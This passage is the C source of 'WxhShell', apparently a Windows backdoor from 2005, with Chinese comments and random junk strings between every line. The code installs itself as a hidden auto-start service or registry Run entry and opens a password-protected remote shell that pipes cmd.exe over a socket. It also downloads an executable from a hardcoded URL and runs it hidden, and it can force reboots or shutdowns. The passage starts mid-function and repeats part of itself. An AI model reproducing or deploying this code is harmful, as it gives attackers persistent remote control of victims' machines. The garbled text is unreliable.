= (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4*Z>-<W= g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Zy6>i2f4f NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >P2QL>P &tw{d DD6 if (!NtQueryInformationProcess) return 0; D*8oFJub ;(LC{jY hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lV?OYS|4i if(!hProcess) return 0; "-G&]YMl Tg v]30F) if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wA6<BujD weIlWxy CloseHandle(hProcess); 2O`s'&.h ;zi4W1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OPDRV\ if(hProcess==NULL) return 0; "9;Ay@'B vFK(Dx HMODULE hMod; SuA`F|7?P char procName[255]; Gdlx0i unsigned long cbNeeded; r
D|Bj(X8 ))uki*UNK if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1@`mpm#Y $PTl{ CloseHandle(hProcess); =`wnng5m \Qz if(strstr(procName,"services")) return 1; // 以服务启动 7[(<t+ G3t\2E9S return 0; // 注册表启动 `R:HMO[ow } 9Oc(Gl5az -[7S. // 主模块 h>n<5{zqM int StartWxhshell(LPSTR lpCmdLine) xQ8?"K;iX { \eS-wO7% SOCKET wsl; "C]_pWk BOOL val=TRUE; _^Q =n>G int port=0; 1$uO% struct sockaddr_in door; 9K#U<Q0b' )7iYx {n if(wscfg.ws_autoins) Install(); @.KFWAm
fMZc_dsW9 port=atoi(lpCmdLine); g=kuM L(3}
H,t if(port<=0) port=wscfg.ws_port; 9jrlB0 IaRq6=[ WSADATA data; 50`<[w<J
q if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FdmoR; vv`,H~M6 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; K$~Ja setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \@*D;-b door.sin_family = AF_INET; fngk<$lvg door.sin_addr.s_addr = inet_addr("127.0.0.1"); !*=+E%7 door.sin_port = htons(port); [f-<M@id/ > ^d+;~Q; if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fvw&y+|y! closesocket(wsl); :JG2xtn return 1; YDiru } 'M3V#5l)@| SWMi+) if(listen(wsl,2) == INVALID_SOCKET) { qISzn04 closesocket(wsl); ?r(Bu return 1; wfBf&Z0{ } RQd5Q. Wxhshell(wsl); ~@EBW3>~5 WSACleanup(); Rs1JCP=d8 O:te;lQK return 0; #Pq.^ ^ Z$ Mc{ } 8J+:5b_? 9rQw~B<S // 以NT服务方式启动 ^+Stvj:N VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t+O7dZt%r { sqk$q pV6 DWORD status = 0; ,2^zX]dgM DWORD specificError = 0xfffffff; 1$rrfg 7D wf0Re` serviceStatus.dwServiceType = SERVICE_WIN32; jxA*Gg3cT5 serviceStatus.dwCurrentState = SERVICE_START_PENDING; c^BeT; serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X5Ff2@."y| serviceStatus.dwWin32ExitCode = 0; K7gqF~5x~ serviceStatus.dwServiceSpecificExitCode = 0; N+0`Jm serviceStatus.dwCheckPoint = 0; <!.Qn
Y serviceStatus.dwWaitHint = 0; 5SmgE2 } 1N\-Ku hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UNd+MHE74I if (hServiceStatusHandle==0) return; bY7~b/ ^1w*$5YI status = GetLastError(); @P}!mdH1 if (status!=NO_ERROR) s4Y7x.- { BJ7m3[lz serviceStatus.dwCurrentState = SERVICE_STOPPED; 'Lv>!s 7 serviceStatus.dwCheckPoint = 0; "r.eN_d serviceStatus.dwWaitHint = 0; ao.v]6a serviceStatus.dwWin32ExitCode = status; nXcOFU serviceStatus.dwServiceSpecificExitCode = specificError; d"JI4)%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); P*sb@y>}O return; <bxp/#6D } +UC- A]"IQ- serviceStatus.dwCurrentState = SERVICE_RUNNING; 1r;.r| serviceStatus.dwCheckPoint = 0; 7"Iagrgw serviceStatus.dwWaitHint = 0; U4$CkTe2Y if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t(?tPt4zp } 9<S};I; :p,DAt} // 处理NT服务事件,比如:启动、停止 Zp*0%x!e VOID WINAPI NTServiceHandler(DWORD fdwControl) K=X13As_ { h>A}vI*: switch(fdwControl) YkbZ 2J*- { .f]2%utHB case SERVICE_CONTROL_STOP: Cz1o@rt serviceStatus.dwWin32ExitCode = 0; H@pF3gh serviceStatus.dwCurrentState = SERVICE_STOPPED; +~]LvZtI_ serviceStatus.dwCheckPoint = 0; ~J,e^$u serviceStatus.dwWaitHint = 0; ^N_ ?&pgy {
[EU\- SetServiceStatus(hServiceStatusHandle, &serviceStatus); CNF3".a } #9)D.d|5 return; $f]dL}; case SERVICE_CONTROL_PAUSE: 8st~ O serviceStatus.dwCurrentState = SERVICE_PAUSED; ~g[<A?0=y break; 8rA?X*|S! case SERVICE_CONTROL_CONTINUE: &WGG
kn serviceStatus.dwCurrentState = SERVICE_RUNNING; M]$_>&" break; `jyBF case SERVICE_CONTROL_INTERROGATE: pJ 7="n break; >rb8A6 }; #GT4/Ej}W SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jv9yy~ } W6[# q%o z?i{2Fz6 // 标准应用程序主函数 V[N4 {c int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V}UYr Va#9 { !K$qh{n JHZ`LWq // 获取操作系统版本 K<Qy1y~[ OsIsNt=GetOsVer(); >*aqYNft GetModuleFileName(NULL,ExeFile,MAX_PATH); 9F^rXY. UjI-<| // 从命令行安装 oDEvhNT if(strpbrk(lpCmdLine,"iI")) Install(); YjM_8@< C%y!)v_x // 下载执行文件 I>L@P`d if(wscfg.ws_downexe) { Lw!Q*3c if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7-Yn8Gq WinExec(wscfg.ws_filenam,SW_HIDE); RY]Vo8 } ;_vo2zl1 9:tn!<^=I if(!OsIsNt) { #fR~7K R // 如果时win9x,隐藏进程并且设置为注册表启动 XY1eeB- HideProc(); nm597WeZp StartWxhshell(lpCmdLine); ,:1_I`d>#X } E)=X8y else [nnX,; if(StartFromService()) j[Xci<m // 以服务方式启动 dW8M^A& StartServiceCtrlDispatcher(DispatchTable);
3l8k O else :>'4@{' // 普通方式启动 {a `#O9 StartWxhshell(lpCmdLine);
,m-/R 8QYM/yAM return 0; YzD6S*wb } {KO+t7'Q PLmf.hD \ v!EE[[ uNn]hl|x =========================================== #I(Ho:b ?Q XS? M>BcYbXf CkJ\v%JAW WKB8k-.]ww A!&hjV` " 6-\ghPo Fl'+ C #include <stdio.h> |tkhsQ-; #include <string.h> *j0kb"# #include <windows.h> LYv$U;*+ #include <winsock2.h> hD5G\TR. #include <winsvc.h> mSu1/?PS #include <urlmon.h> rcWr0q Jm l4EW7 #pragma comment (lib, "Ws2_32.lib") (\=iKE4# #pragma comment (lib, "urlmon.lib") OYsG# M!e$h?vB #define MAX_USER 100 // 最大客户端连接数 2X t$KF,? #define BUF_SOCK 200 // sock buffer ;ESuj'*t #define KEY_BUFF 255 // 输入 buffer C=z7Gk= X_0Ta_u?T #define REBOOT 0 // 重启 [N-t6Z* #define SHUTDOWN 1 // 关机 +%hA6n U[Pll~m2b #define DEF_PORT 5000 // 监听端口 C
{GSf`D!T fq"<= #define REG_LEN 16 // 注册表键长度 ?xbPdG":R #define SVC_LEN 80 // NT服务名长度 ma<+!*| [e:mRMi // 从dll定义API [aK7v{Wu typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ew|VDD(. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _m+64qG_8' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BrQXSN$i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6H\apgHm ?u`TX_OsB // wxhshell配置信息 I C6}s struct WSCFG { ;
iK9'u int ws_port; // 监听端口 &!lGx7zf char ws_passstr[REG_LEN]; // 口令 D6KYkN(,v int ws_autoins; // 安装标记, 1=yes 0=no ]ctlK'. char ws_regname[REG_LEN]; // 注册表键名 *0
0K3 char ws_svcname[REG_LEN]; // 服务名 ?1z." & char ws_svcdisp[SVC_LEN]; // 服务显示名 Y0||>LX char ws_svcdesc[SVC_LEN]; // 服务描述信息 0m|$ vb char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zMUifMiAj int ws_downexe; // 下载执行标记, 1=yes 0=no -|l^- Qf! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _Co*"hl>2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
'7!b#if (>E70|T }; =psX2?%L Zljj // default Wxhshell configuration `nxm<~-\ struct WSCFG wscfg={DEF_PORT, kAEm#oz=g "xuhuanlingzhe", =3Y:DPMB 1, yX:*TK4 "Wxhshell", O+Zt*jN; "Wxhshell", 39w|2%(O. "WxhShell Service", GJL lMi "Wrsky Windows CmdShell Service", _IA@X. )? "Please Input Your Password: ", lJfn3 1, [_&\wHX "http://www.wrsky.com/wxhshell.exe", )PRyDC- "Wxhshell.exe" c teUKK.|) }; f\ wP}c' d{UyiZm\ // 消息定义模块 ^b{w\HZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Wn(pz)+Y char *msg_ws_prompt="\n\r? for help\n\r#>"; 4&Q.6HkL char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O;u&>BMk char *msg_ws_ext="\n\rExit."; u'o."J^&' char *msg_ws_end="\n\rQuit."; VFZ_Vw char *msg_ws_boot="\n\rReboot..."; a]<y*N?qu char *msg_ws_poff="\n\rShutdown..."; o2FQ/EIE char *msg_ws_down="\n\rSave to "; z8SrZ#mg /mb?C/ CI char *msg_ws_err="\n\rErr!"; liW0v!jBo char *msg_ws_ok="\n\rOK!"; <_S>- ;by l@x/{0 char ExeFile[MAX_PATH]; ,Qgxf';+$ int nUser = 0; >Jl(9)e HANDLE handles[MAX_USER]; Ix;9D'^} int OsIsNt; W?5u O q
F\a]e SERVICE_STATUS serviceStatus; 7j&iHL SERVICE_STATUS_HANDLE hServiceStatusHandle; #|\NG ~Bll\3-= // 函数声明 e B`7C"Z int Install(void); K[%)_KW int Uninstall(void); ,DN>aEu1 int DownloadFile(char *sURL, SOCKET wsh); ;T Af[[P int Boot(int flag); ?N
6'*2{NT void HideProc(void); v'"0Ya int GetOsVer(void); =tJ}itcJ' int Wxhshell(SOCKET wsl); wt;7+ void TalkWithClient(void *cs); fZqMznF int CmdShell(SOCKET sock); nQ*9|v4 int StartFromService(void); 3x=f}SO& int StartWxhshell(LPSTR lpCmdLine); 0-ISOA& e12.suv VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zj ;'0Zu VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y <'T;@ vO85h // 数据结构和表定义 : Gp,d*M SERVICE_TABLE_ENTRY DispatchTable[] = f$G{7%9* { jl;%?bx {wscfg.ws_svcname, NTServiceMain}, STDT]3. {NULL, NULL} '!)|;qe }; Jww LAQ5 !TJCQ[Aa} // 自我安装 v !~lVv& int Install(void) oUMY?[Wp { j Y>BU& char svExeFile[MAX_PATH]; sx ;7 HKEY key; G@Z,Hbgm strcpy(svExeFile,ExeFile); N`FgjnQ` "XWrd[Df // 如果是win9x系统,修改注册表设为自启动 R<}n?f\#JZ if(!OsIsNt) { }B{bM<dF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K&zp2V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uyt]\zVT RegCloseKey(key); ]]
R*sd* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?0>%
a$` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S]kY'(V(* RegCloseKey(key); J2\%rb, return 0; [FHSFr
E,5 } Q+
r4 } YQb43Sh` } ;naD`([ else { _ lrCf >wiW(Ki} // 如果是NT以上系统,安装为系统服务 A
%iZ_h^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $F|3VQ~ if (schSCManager!=0) [whX),3> { l6^IX0&p SC_HANDLE schService = CreateService f;<qGM.#| ( 4{?Djnh schSCManager, Y#9dVUS wscfg.ws_svcname,
UADD 7d wscfg.ws_svcdisp, oe<9CK:?> SERVICE_ALL_ACCESS, "*E#4e[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rf)lFi SERVICE_AUTO_START, *.X!AJ;M=O SERVICE_ERROR_NORMAL, :"Vfn:Q svExeFile, Uq0GbLjv" NULL, qJ).;S{AAt NULL, |{ E\ 2U NULL, PNwXZ/N% NULL, -e6~0%X NULL K:PPZ| ); ]?n)!u if (schService!=0) !"w1Pv, { N"X;aVFs_ CloseServiceHandle(schService); ?[n{M CloseServiceHandle(schSCManager); }bQqln)# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ku=o$I8K strcat(svExeFile,wscfg.ws_svcname); %1E:rw@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ho3$T RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?W l=F/ RegCloseKey(key); >"^H"K/T return 0; ?.&]4z([ } >Ux5UD } m'|{AjH
z6 CloseServiceHandle(schSCManager); w Phs1rL } ?nW K s } 9EryHV| y/!h.[ return 1; $tGk,.#j } C]22 [v4 x.Sq2rw]V // 自我卸载 SDY!! . int Uninstall(void) qPJU}(9#B { SiN22k+ HKEY key; JTH8vk:@ y#[PQT if(!OsIsNt) { obUX7N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i3T]<&+j5 RegDeleteValue(key,wscfg.ws_regname); dW3 q RegCloseKey(key); 1aC?*,e? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _1D'9!+ RegDeleteValue(key,wscfg.ws_regname); p=T,JAI t RegCloseKey(key); Ol8ma`}Nq3 return 0; j5lSu~
} P
I gbeP } Ra\>^W6z } tvH{[e$ else { X{SD3j=G# /b *VFA/75 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6qsT/ if (schSCManager!=0) JJL#Y { FKU$HQw* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [[{y?-U if (schService!=0) tx=~bm"*? { wO6`Ap
t1: if(DeleteService(schService)!=0) { Etk`>,]Y>y CloseServiceHandle(schService); zY@|KV"^r CloseServiceHandle(schSCManager); 1b)^5U ; return 0; :OC`X~}Rc } E|!rapa CloseServiceHandle(schService); <a@'Pcsk } ;U6z|O7L CloseServiceHandle(schSCManager); 1-.UkdZ} } X|Gsf=
1S } e<_p\LiOS -\mbrbG9H return 1; 3c<).aC0f } Y|bCbaF :-x F=Y(; // 从指定url下载文件 S<Zb>9pl int DownloadFile(char *sURL, SOCKET wsh) w!{g^*R+! { w{$t:l)2, HRESULT hr; *c} MI
e'& char seps[]= "/"; qp>V\h\ char *token; ]$)J/L(p/] char *file; Rn={:u4 char myURL[MAX_PATH]; jBexEdH
char myFILE[MAX_PATH]; bqmOfGM {9wBb`.n^ strcpy(myURL,sURL); #8.%YG token=strtok(myURL,seps); Snx_NH#tA while(token!=NULL) I~lX53D { ]m0MbA file=token; bg$df 0 token=strtok(NULL,seps); `.PZx%= } E]PHO\f-m} 7T
\}nX1 GetCurrentDirectory(MAX_PATH,myFILE); CrHH Ob strcat(myFILE, "\\"); a}l^+ strcat(myFILE, file); \] send(wsh,myFILE,strlen(myFILE),0); 1=C>S2q send(wsh,"...",3,0); 7o?6Pv%HJC hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fDo )~t*~ if(hr==S_OK) Bor _Kib return 0; ;hsgi|Cy- else D@T>z; return 1; AtNu:U$ 6yZfV7I } Cg NfqT0 B42.;4"T // 系统电源模块 %h;~@- $ int Boot(int flag) Bfw]#"N` { M|e
Qds HANDLE hToken; *RKYdwnb TOKEN_PRIVILEGES tkp; (I~-mzu\ {4"!~W if(OsIsNt) { )cc:Z7p OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :4|W;Lkd! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [4,=%ez tkp.PrivilegeCount = 1; y~_wr}.CS tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2T!pFcc AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &-#!]T-P:E if(flag==REBOOT) { e=KA|"vxh if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >
t *+FcD return 0; kDuN3 } ws:@Pe4AF else { |}paa if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F Vkb9(WW return 0; IDbqhZp( } $5aRu, } \gferWm else { .L'>1H]B if(flag==REBOOT) {
ks=jv: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %<%ef+* return 0; xcfEL_'o } l0Wp%T else { "#x<>a)O\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) " SkTVqm return 0; ?.#?h>MS{s } M{$EJS\d= } d*ch.((- YUdCrb9F return 1; >x0"gh } 1au1DvH "\bbe @ // win9x进程隐藏模块 *"#62U6 void HideProc(void) fvKb0cIx] { nff&~lwhZ F)KUup)gc HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9u";%5 4 if ( hKernel != NULL ) dM"Suw { g+h)s!$sB pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #|76dU ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 26|2r FreeLibrary(hKernel); ?qwTOi } -d?9Acd 3uO#/EbS return; 5tI4m#y2 } B:dk>$>uQ ! 9B| ` // 获取操作系统版本 D. !m*oq int GetOsVer(void) 9dl\`zlA* { iD=VNf OSVERSIONINFO winfo; v[VUX69 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7)sEW#d! GetVersionEx(&winfo); K:&FWl. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Gqvnc8V& return 1; |FS,Av else t?H.M return 0; kBYZNjSz } UD6D![e '3B`4W, // 客户端句柄模块 F/z$jj) int Wxhshell(SOCKET wsl) L<bZVocOb_ { Onoi ^MDy SOCKET wsh; NQzpgf|h struct sockaddr_in client; v2R41*z, DWORD myID; %KL"f y&T(^EA; while(nUser<MAX_USER) !HyPe"`oL { 6@kKr int nSize=sizeof(client); 4Eh 2sI wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Srw ciF if(wsh==INVALID_SOCKET) return 1; N=hr%{}c 4/;
X- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \ZiZX$ if(handles[nUser]==0) `C 'WSr closesocket(wsh); 5&]|p'"W\ else Oo{+W5[ nUser++; }Th":sin}, } *gRg--PY% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2Eg*Yb 1 ;4<CnC** return 0; nHxos`Qx } /MHqt=jP6 csZIBi // 关闭 socket j.O7-t%C void CloseIt(SOCKET wsh) hM { 5m2(7FC%su closesocket(wsh); WK5~"aw nUser--; 6kH47Yc? ExitThread(0); F?=(4Pyvu } V*P3C5l 7e$\|~< // 客户端请求句柄 kGhWr M void TalkWithClient(void *cs) t/z]KdK P { MI o5Y`T sIQd} SOCKET wsh=(SOCKET)cs; hYRGIpu5 char pwd[SVC_LEN]; Ql8E9~h char cmd[KEY_BUFF]; Qp8.D4^@3 char chr[1]; q
H&7Q{ int i,j; sXm8KV -FA]%Pl<' while (nUser < MAX_USER) { M,1Yce%+} ])paU8u if(wscfg.ws_passstr) { Gw3eO&X3i if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OoOKr //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #W`>vd} //ZeroMemory(pwd,KEY_BUFF); !Irmc*;QE i=0; 9hG)9X4 while(i<SVC_LEN) { Sqj'2<~W pVe@HJy6G // 设置超时 V&4)B &W fd_set FdRead; z7V74hRPX struct timeval TimeOut; Kl.xe&t@j FD_ZERO(&FdRead); J0xOB;rd FD_SET(wsh,&FdRead); _urv
We TimeOut.tv_sec=8; ]Cy1yAv={ TimeOut.tv_usec=0; ;8m_[gfw int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +k]9n*^uz if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^luAX
}* Ijq',@jE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H|>dF)%pj pwd=chr[0]; q)R&npP7 if(chr[0]==0xd || chr[0]==0xa) { `[\*1GpAo pwd=0; NyU~8?bp break; hPtSY'_@_ } xXQ#?::m i++; Q:?]:i/* } \M^L'Mkj {`fhcEC // 如果是非法用户,关闭 socket ^SnGcr|a' if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c]jK
Y< } q,-bw2 xEtzqP<] send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3DRbCKNL send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UlQZw*ce ]$/TsN while(1) { (!kOM% 3{ KB+,}7 ZeroMemory(cmd,KEY_BUFF); [B3qZ" $7~k#_#PC // 自动支持客户端 telnet标准 ws9F~LmLbr j=0; shjbb while(j<KEY_BUFF) { ]5IG00` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); prE~GO7Z cmd[j]=chr[0]; 9?B}CCE<LR if(chr[0]==0xa || chr[0]==0xd) { [.;$6C/? cmd[j]=0; f h05*]r break; IT&
U%hw } n1K"VjZk j++; g(xuA^~J } w J
FEua 5]cmDk // 下载文件 [?uiM^& if(strstr(cmd,"http://")) { ,Zs:e. send(wsh,msg_ws_down,strlen(msg_ws_down),0); GKdQ if(DownloadFile(cmd,wsh)) OI;0dS send(wsh,msg_ws_err,strlen(msg_ws_err),0); yQb^]|XG else v3
4!rL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zOA{S~> } G]5m@;~l5 else { 2= FGZa*. fk-zT switch(cmd[0]) { W6f?/{Oo8 [*zB
vj}G // 帮助 HFYN(nz}[ case '?': { qPsf`nI7 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YCod\} 3 break; >0kn&pe7#T } 5D0O.v // 安装
HSHY0 case 'i': { #JVw`=P if(Install()) fiA_6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); BeZr5I"`} else mk?&`_X1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x5\C MWW break; )G6{JL-I } UD1R_bL} // 卸载 ~oO>6 case 'r': { xaQ]Vjw if(Uninstall()) ("UcjB^62 send(wsh,msg_ws_err,strlen(msg_ws_err),0); -g8G47piX: else K!^x+B| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $%!'c#
F break; -'btKz*9 } $p@V1"x // 显示 wxhshell 所在路径 6|gC##T case 'p': { @,0W( char svExeFile[MAX_PATH]; Pe[~kog,TP strcpy(svExeFile,"\n\r"); Yt79W strcat(svExeFile,ExeFile); ?)<DEu:Y send(wsh,svExeFile,strlen(svExeFile),0); ^(7<L<H break; !4zSE,1 } Dz$GPA // 重启 U{(B)dFTH case 'b': { $%9.qy\8 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EJ7}h?a]U_ if(Boot(REBOOT)) C5mq@$6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); SQ7Ws u>T@ else { 7i?"akr4 closesocket(wsh); ximW!y7 ExitThread(0); b4%sOn, } u*:B 9E break; ?m5@ 635 } 2(V;OWY(@ // 关机 e1a8>>bcI case 'd': { kGm-jh send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v|Y:'5`V if(Boot(SHUTDOWN)) |uT|(:i84, send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? pq#|PI) else { ST'M<G%4E closesocket(wsh); V'TBt=!=] ExitThread(0); 2LS03 27 } @*W)r~ "~ break; *
S4IMfp } 1fwjW0t // 获取shell L{_Q%!h3] case 's': { pC<~\RR CmdShell(wsh); 1FC'DH! closesocket(wsh); A/eZnsk ExitThread(0); 07pASZ;~ break; ( <~ } *`.h8gTD, // 退出 bHx09F] case 'x': { r}>8FE9S'H send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )EQWc0iKG CloseIt(wsh); S8-3Nv' break; <1i:Z*l. } aH7i$U& // 离开 nn'a`N case 'q': { !,8jB( send(wsh,msg_ws_end,strlen(msg_ws_end),0); }pk)\^/w/ closesocket(wsh); z|,YO6(L WSACleanup(); LLp/ SWe exit(1); /[
_aw&W}Z break; ]o}g~Xn } :E
]Ys } hKa<9>MI` } kY d'6+m :iW+CD)j // 提示信息 ~*aPeJ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !EO*xxQ } f|U;4{k } s|*0cK!K^ )IN!CmpN return; &/XRiK1"0 } GQ=Zp3[ OCR`1 // shell模块句柄 ~<[$.8* int CmdShell(SOCKET sock) byALM { H?-Byi STARTUPINFO si; ?#N:
a ZeroMemory(&si,sizeof(si)); qfJi[8". si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @PH`Wn#S si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1%Yd ] 1c( PROCESS_INFORMATION ProcessInfo; \<k5c-8Hb char cmdline[]="cmd"; gumT"x .^ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QH~;B[-> return 0; +f h@m
h0[ } }_,\yC9F K&T[F! // 自身启动模式 wm1`<r^M. int StartFromService(void) *`D}voU { IXjFK typedef struct S87E$k { DxuT23.
( DWORD ExitStatus; ^qB
a~
DWORD PebBaseAddress; 9]u=b\fzZ DWORD AffinityMask; %x}iEqk U DWORD BasePriority; BQ8vg8e]B ULONG UniqueProcessId; is?#wrV=K ULONG InheritedFromUniqueProcessId; FA5|` } PROCESS_BASIC_INFORMATION; =|}_ASbzw R-2NJ0F7 PROCNTQSIP NtQueryInformationProcess; 8PKUg
"p 80(Olf@PE static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .|XG0 M static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b'x26wT? HL8onNq HANDLE hProcess; QMO.Bnek PROCESS_BASIC_INFORMATION pbi; :V,agAMn qr$h51C& HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Sj=x.Tr\ if(NULL == hInst ) return 0; g|STeg g sd5%S zx g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ??Lda=' g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E; `@S NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); exW|c~|m{A >:C0ZQUW if (!NtQueryInformationProcess) return 0; $<NrJgQ 2Dc2uU@`r hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _?VMSu if(!hProcess) return 0; g:dtfa/] 8Pb~`E/ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K_SURTys 3@}rO~ CloseHandle(hProcess); z D "n7; rXh*nC hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r`dQ<U, if(hProcess==NULL) return 0; U#
+$ N3% - uk}Fou HMODULE hMod; u;
